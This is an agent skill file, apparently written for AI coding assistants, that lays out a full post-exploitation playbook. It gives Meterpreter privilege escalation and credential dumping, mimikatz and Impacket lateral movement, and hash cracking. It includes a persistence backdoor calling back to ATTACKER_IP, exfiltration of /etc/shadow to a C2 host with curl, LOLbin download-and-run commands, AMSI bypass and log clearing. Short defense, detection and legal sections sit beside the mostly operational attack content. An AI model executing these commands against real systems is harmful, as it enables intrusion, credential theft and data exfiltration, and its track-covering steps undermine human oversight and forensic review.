Post Exploitation

---
name: post-exploitation
description: "Post-exploitation covers the complete attack chain after obtaining initial access: privilege escalation, persistence, lateral movement, data collection and exfiltration, and covering tracks."
origin: openclaw
version: "0.2.0.2"
compatibility:
  - openclaw
  - claude-code
  - cursor
  - windsurf
allowed-tools:
  - Bash
  - Read
  - Write
  - Edit
  - WebSearch
  - WebFetch
metadata:
  domain: post-exploitation
  tool_count: 10
  guide_count: 7
  mitre: "TA0005-Defense Evasion"
  last_reviewed: "2026-07-19"
---

# Skill: Post-Exploitation

> **Supplementary Files**:
> - `payloads.md` — Complete attack payload and command checklist organized by phase: privilege escalation, persistence, credential extraction, lateral movement, data exfiltration, anti-forensics, and tunneling/reverse shells.
> - `test-cases.md` — Structured test cases covering privilege escalation, persistence, credential extraction, lateral movement, and data exfiltration, with severity levels and statistical summary tables.

## Summary

Post Exploitation skill domain covering post exploitation operations.

**Tools**: Metasploit (Meterpreter), Impacket, BloodHound, mimikatz, Empire/Starkiller, PowerSploit (+4 more)

**Domain**: post-exploitation

**MITRE ATT&CK**: TA0005-Defense Evasion

## Description

Post-exploitation covers the complete attack chain after obtaining initial access: privilege escalation, persistence, lateral movement, data collection and exfiltration, and covering tracks. This phase determines the depth and value of a red team assessment — the critical transition from initial breach to full domain control. The core objective is maximizing control scope within the target network while minimizing detection probability.

## Use Cases

1. **Restricted initial shell** — Escalate from low-privileged user to root/SYSTEM after obtaining initial shell.
2. **Domain environment penetration** — Perform credential extraction, ticket forgery, and lateral movement in Active Directory.
3. **Persistence requirement** — Establish multiple persistence mechanisms on target systems to ensure long-term access.
4. **Data exfiltration assessment** — Demonstrate complete sensitive data exfiltration paths from internal network to external.
5. **Red team simulation** — Model advanced threat actor complete post-exploitation TTPs.

## Core Tools

| Tool | Purpose | Command Example |
|------|---------|-----------------|
| **msfconsole (Metasploit)** | Post-exploitation framework core; modular exploitation | `meterpreter> getsystem` |
| **mimikatz** | In-memory credential extraction; Kerberos ticket operations | `mimikatz # sekurlsa::logonpasswords` |
| **Impacket-mimikatz** | Remote credential extraction via Python | `impacket-mimikatz domain/user:pass@target` |
| **BloodHound (bloodhound-python)** | AD attack graph analysis and path visualization | `bloodhound-python -d domain -u user -p pass -ns dc_ip -c All` |
| **PowerSploit** | PowerShell post-exploitation module set | `Invoke-Mimikatz; Get-GPPPassword` |
| **Empire / Starkiller** | Post-exploitation C2 framework with agent management | `uselistener http; launch --listener http` |
| **John the Ripper** | Offline password hash cracking (CPU) | `john --wordlist=rockyou.txt hashes.txt` |
| **Hashcat** | GPU-accelerated hash cracking (300+ types) | `hashcat -m 1000 -a 0 hashes.txt wordlist.txt` |
| **Impacket-secretsdump** | Remote SAM/NTDS.dit credential extraction | `impacket-secretsdump domain/user:pass@target` |
| **Impacket-psexec** | Remote execution via service creation | `impacket-psexec domain/user:pass@target` |
| **Impacket-wmiexec** | Fileless WMI remote execution | `impacket-wmiexec domain/user:pass@target` |
| **linpeas / winPEAS** | Automated privilege escalation enumeration | `./linpeas.sh` or `winPEAS.exe` |

## Methodology

### Attack Chain

```
Initial Foothold
    |
    v
Privilege Escalation --> Local PE (kernel vulns, service misconfig, token impersonation)
    |
    v
Persistence --> Scheduled tasks, registry run keys, services, WMI subscriptions
    |
    v
Lateral Movement --> Pass-the-Hash, PsExec, WMI, RDP
    |
    v
Data Collection --> Credentials, files, databases, screenshots
    |
    v
Exfiltration --> DNS tunneling, HTTPS, SMB, ICMP
    |
    v
Covering Tracks --> Log clearing, timestamp modification, tool cleanup
```

### Defense Perspective

| Defense Layer | Measures | Key Points |
|---------------|----------|------------|
| **Least Privilege** | Restrict user and service account permissions; tiered admin model | Reduces privilege escalation attack surface; Tier 0/1/2 separation for AD |
| **Credential Guard / LSA Protection** | Enable Credential Guard (Win10+); LSA Protected Process Light | Blocks mimikatz in-memory reads of LSASS; virtualization-based security |
| **EDR / XDR Monitoring** | Behavioral detection with process tree analysis and telemetry correlation | Real-time detection of abnormal process/network activity; SOAR automated response |
| **Network Segmentation** | VLAN + zone isolation for critical assets; deny east-west by default | Limits lateral movement blast radius; macrosegmentation + microsegmentation |
| **Credential Rotation** | Regular service account password rotation (30-90 days); shorten ticket lifetime | Reduces value of extracted credentials; gMSA for service accounts |
| **Application Whitelisting** | AppLocker / WDAC / Software Restriction Policies | Blocks unauthorized binary execution; blocks LOLBins abuse |
| **Log Integrity** | Forward logs to remote syslog/SIEM; tamper-proof storage (WORM) | Ensures forensic trail survives cleanup attempts; Windows Event Log forwarding |
| **Tiered Administration** | PAW (Privileged Access Workstation); Tier 0 isolation | Domain admin credentials never exposed to Tier 1/2 systems |
| **AMSI Integration** | Antimalware Scan Interface for script content scanning | Catches PowerShell/mimikatz content even when obfuscated |

---

## Practical Steps

> **See `payloads.md` for detailed payloads and `test-cases.md` for the complete test checklist.**

### 1. Metasploit Post-Exploitation Basics

After obtaining a Meterpreter shell, execute core operations: system info gathering (`sysinfo`, `getuid`), automated privilege escalation (`getsystem`), permission enumeration (`getprivs`), hash export (`hashdump`), and credential extraction (`load kiwi` + `creds_all`).

```bash
# System information and current user
meterpreter> sysinfo
meterpreter> getuid

# Automated privilege escalation
meterpreter> getsystem

# Enumerate available privileges
meterpreter> getprivs

# Extract NTLM hashes
meterpreter> hashdump

# Load Mimikatz extension and dump all credentials
meterpreter> load kiwi
meterpreter> creds_all

# Local exploit suggestion
meterpreter> run post/multi/recon/local_exploit_suggester

# Enumerate logged-on users and shares
meterpreter> enum_logged_on_users
meterpreter> enum_shares

# Install persistence backdoor
meterpreter> run persistence -U -i 60 -p 4444 -r ATTACKER_IP
```

### 2. Privilege Escalation Techniques

**Linux**: Automated enumeration with `linpeas.sh`; find SUID binaries (`find / -perm -4000 -type f 2>/dev/null`); audit scheduled tasks (`cat /etc/crontab`); check sudo permissions (`sudo -l`); kernel exploit matching against `uname -a` output.

**Windows**: Automated enumeration with `winPEAS.exe`; view privilege tokens (`whoami /priv`); obtain patch information (`systeminfo`); check service permissions (`accesschk.exe -uwcqv "Authenticated Users" *`); unquoted service path exploitation.

**Remote PE via Impacket**:
```bash
impacket-psexec domain/admin:password@target
impacket-smbexec -hashes :NTHASH domain/admin@target
```

### 3. Active Directory Lateral Movement

Four-step process:

```bash
# Step 1: AD reconnaissance
impacket-GetADUsers -all -dc-ip DC_IP domain/user:pass
impacket-GetADComputers -all -dc-ip DC_IP domain/user:pass
impacket-findDelegation domain/user:pass -dc-ip DC_IP

# Step 2: BloodHound graph analysis
bloodhound-python -d domain -u user -p pass -ns DC_IP -c All
# Ingest JSON into BloodHound GUI; find shortest paths to Domain Admin

# Step 3: Credential extraction + Pass-the-Hash
impacket-secretsdump domain/user:pass@DC -just-dc-ntlm
impacket-wmiexec -hashes :NTHASH domain/admin@target

# Step 4: Lateral movement execution
impacket-wmiexec domain/admin:password@target
impacket-smbexec domain/admin:password@target
```

### 4. Password Hash Cracking

After extracting NTLM hashes from `secretsdump`:

```bash
# Hashcat: dictionary attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt

# Hashcat: rule-based attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r dive.rule

# Hashcat: mask brute force
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?d?d?d?d

# John the Ripper: auto-detect hash type
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
```

### 5. Data Exfiltration and Trace Cleanup

```bash
# Data packaging
tar czf loot.tar.gz /etc/passwd /etc/shadow /home/*/.*shistory

# Exfiltration via existing C2 channel (example)
cat loot.tar.gz | base64 | curl -X POST -d @- https://c2.example.com/upload

# Clear event logs (Windows)
meterpreter> clearev

# Manual cleanup
rm -rf /tmp/.tools/
rm ~/.bash_history && kill -9 $$
```

> All operations must be documented in detail in the testing report.

---

## Common Pitfalls

- **Running automated enumeration without reviewing output**: Tools like linpeas and winPEAS generate extensive output, but blindly trusting their recommendations without understanding the context can lead to chasing false positives or attempting exploits that will crash the target.
- **Neglecting operational security**: Failing to clean up uploaded tools, scheduled tasks, or modified registry keys after testing leaves artifacts that can trigger alerts. Always maintain a checklist of every modification made during the engagement and verify cleanup before disconnecting.
- **Ignoring credential validation**: Cracked hashes may correspond to expired accounts, disabled users, or changed passwords. Always verify credentials work against the target service before reporting them as valid findings.

## Automation and Scripting

Automate post-exploitation enumeration with scripted chains: after obtaining a Meterpreter session, automatically run local_exploit_suggester, export hashes, enumerate logged-on users, and collect system information in a single scripted sequence. Use BloodHound's ingestor (bloodhound-python or SharpHound) for automated Active Directory attack path analysis. Build custom PowerShell or Python scripts for specific post-exploitation tasks like automated credential harvesting from memory, registry, and configuration files.

## Reporting and Documentation

Post-exploitation reports should document the complete attack chain from initial access to domain dominance, including every escalation step, lateral movement path, and data access point. Include screenshots of privilege escalation proofs (whoami output before and after), extracted credential counts, and network diagrams showing the lateral movement path. Map all techniques to MITRE ATT&CK IDs for standardized communication with the blue team. Detail the persistence mechanisms installed and provide exact removal instructions for each one.

## Legal and Ethical Considerations

Post-exploitation involves accessing systems and data that go far beyond the initial scope of a vulnerability. Ensure the engagement letter explicitly authorizes privilege escalation, lateral movement, and data access. Data exfiltration testing should use fabricated test data rather than real sensitive data whenever possible. Persistence mechanisms must be fully documented and removed before the engagement ends — leaving backdoors on production systems is a serious legal liability regardless of intent.

## Integration with Other Tools

Post-exploitation sits at the center of the kill chain, consuming input from and feeding output to multiple adjacent skills. Initial access comes from network-pentest or web application exploitation. Credential extraction feeds into password-attack for hash cracking. Cracked credentials enable further lateral movement using impacket tools. BloodHound analysis of Active Directory structures informs social-engineering campaigns. Binary reverse engineering (binary-reverse) helps analyze malware or custom tools found on target systems during post-exploitation.

## Case Studies and Examples

- **AD domain escalation via Kerberoasting**: During an internal assessment, a low-privileged domain user queried for Service Principal Names and extracted Kerberos TGS tickets. One service account had a weak password crackable in 15 minutes, and it turned out to be a member of the Domain Admins group — granting full domain control from a single cracked hash.
- **Linux privilege escalation via cron**: A scheduled task running as root executed a shell script in a world-writable directory. By appending a reverse shell payload to the script, root access was obtained within the next cron cycle (5 minutes) without exploiting any kernel vulnerability.
- **Lateral movement via Pass-the-Hash**: After extracting NTLM hashes from a compromised workstation, the local administrator's hash was reused across 23 other workstations in the same VLAN, enabling lateral movement to a machine where a domain admin had an active session.

## Detection Methods

Modern EDR/XDR platforms detect post-exploitation through behavioral analysis. Understanding these signals helps testers operate more stealthily and helps defenders prioritize monitoring.

### Process-Level Indicators
- **LSASS memory access**: Non-system processes accessing LSASS memory trigger EDR alerts (Credential Guard blocks this).
- **Suspicious process lineage**: `cmd.exe` / `powershell.exe` spawned by web services (w3wp.exe, sqlservr.exe) indicates remote code execution.
- **Living-off-the-land binaries**: Anomalous use of `certutil.exe`, `mshta.exe`, `rundll32.exe`, `wmic.exe` outside typical admin patterns.
- **In-memory execution**: PowerShell `-enc`/`-w hidden` flags, reflectively loaded DLLs, process hollowing patterns.

### Network-Level Indicators
- **Anomalous WMI connections**: DCOM traffic on TCP/135 + dynamic ports to non-admin workstations.
- **PsExec service installation**: `PSEXESVC.exe` service creation events (Windows Event ID 7045).
- **SMB session anomalies**: Multiple admin shares accessed (`ADMIN$`, `C$`) from non-admin source.
- **BloodHound LDAP queries**: Recognizable query patterns (filter on `servicePrincipalName`, `memberOf:1.2.840.113556.1.4.1941:`).

### SIEM Detection Rules
- **Sigma rule**: `sigma/rules/windows/lsass_mem_access.yml`
- **Splunk SPL**: `index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10 TargetImage="*\\lsass.exe" | stats count by SourceImage, Computer`
- **Windows Event ID 4624/4625**: Logon type 3 (network) from unusual source IPs.
- **Windows Event ID 4688**: Process creation with command line logging enabled.

## Defense Evasion Techniques

### In-Memory Execution
- **PowerShell `-enc`**: Base64-encoded payload avoids content-based signatures.
- **Reflective DLL injection**: Load DLL from memory without touching disk.
- **Process hollowing**: Replace legitimate process memory with malicious code.
- **CLR injection**: Abuse .NET Common Language Runtime for in-memory .NET assemblies.

### Living-off-the-Land Binaries (LOLbins)
- **certutil**: `certutil -urlcache -split -f https://c2/payload.exe` (download disguised).
- **mshta**: `mshta https://c2/payload.hta` (HTML Application execution).
- **rundll32**: `rundll32.exe javascript:"..."` (JavaScript execution).
- **wmic**: `wmic process call create "payload.exe"` (remote process creation).

### Timing and Blending
- **Business hours activity**: Run enumeration during peak admin hours to blend with normal behavior.
- **Slow C2 beaconing**: Jitter timing + low frequency (every 60-90 min) to mimic legitimate traffic.
- **HTTPS C2**: Use legitimate-looking domains (CDN fronts, expired SSL certs).

### Selective Log Manipulation
- **Selective clearing**: Delete only specific Event IDs (e.g., 4624 logons) rather than full log.
- **Time-stomping**: Modify file timestamps to match legitimate files (`timestomp` in Meterpreter).
- **Memory-only artifacts**: Use `memfd_create()` for tools that never touch disk.

### Tool Obfuscation
- **AMSI bypass**: Patch `amsi.dll` in-memory before loading scripts.
- **Signature modification**: Modify open-source tool source code to evade signatures.
- **Custom loaders**: Build bespoke loaders instead of using known frameworks (Cobalt Strike, etc.).

## Advanced Techniques

Advanced post-exploitation includes: token impersonation and delegation attacks in Active Directory, Kerberos silver and golden ticket forgery for persistent domain access, DCShadow attacks for real-time Active Directory modification without logging, CLR injection and process hollowing for stealthy in-memory code execution, and ADS (Alternate Data Streams) for hiding tools and data on NTFS filesystems. For Linux environments, explore container escape techniques, kernel exploit chaining, and SSH key persistence across reboots.

## Tool Comparison Matrix

| Tool | Best For | Detection Risk | Skill Level |
|------|----------|----------------|-------------|
| **Metasploit (Meterpreter)** | Full post-exploitation framework | High (well-signatured) | Intermediate |
| **Impacket** | Python-native AD/network attacks | Moderate | Intermediate |
| **BloodHound** | AD attack path visualization | Moderate (LDAP queries) | Beginner |
| **mimikatz** | Credential extraction from memory | Very high (signatured) | Advanced |
| **Empire/Starkiller** | C2 with agent management | Variable (configurable) | Advanced |
| **PowerSploit** | PowerShell-based post-exploitation | High (AMSI detection) | Intermediate |
| **linpeas/winPEAS** | Automated enumeration | Low (signed binaries) | Beginner |

## Hacker Laws

| Law | Core Principle | Post-Exploitation Application |
|-----|----------------|-------------------------------|
| **Assume Breach** | Defenders should assume attackers are already inside | Red team simulates already-breached scenarios; blue team uses this as baseline for detection drills. |
| **Least Privilege** | Grant only the minimum permissions needed to complete a task | Attackers exploit over-privileged service accounts for lateral movement; defenders limit permissions to shrink attack surface. |
| **Defense in Depth** | Multiple security layers must stack to protect critical assets | Bypassing one layer is not enough — defenders need EDR + network segmentation + credential protection in combination. |
| **Murphy's Security Law** | Anything that can go wrong, will go wrong | Attackers only need to find one configuration error; defenders must close every path. |

---

## Learning Resources

**Skill supplementary files**: `payloads.md`, `test-cases.md`

**Related Skills**: `skills/network-pentest/SKILL.md`, `skills/binary-reverse/SKILL.md`, `skills/privilege-escalation/SKILL.md`

**External Resources**:
- [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/) — Offensive Security official free course (deep Metasploit usage).
- [HackTricks](https://book.hacktricks.wiki/) — Post-exploitation technique quick reference manual, continuously updated.
- [MITRE ATT&CK Framework](https://attack.mitre.org/) — TTPs classification standard, attack chain reference.
- [Impacket Official Documentation](https://github.com/fortra/impacket) — Network protocol toolkit reference.
- [BloodHound Documentation](https://bloodhound.readthedocs.io/) — AD attack path analysis.
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) — Privilege escalation and post-exploitation payload collection.

> Tool mastery status: msfconsole (mastered) | mimikatz, bloodhound, powersploit, empire, john, hashcat (learning)
> Reference notes: `memory/2026-03-21-post-exploitation-tools.md`, `memory/2026-03-21-password-attack-tools.md`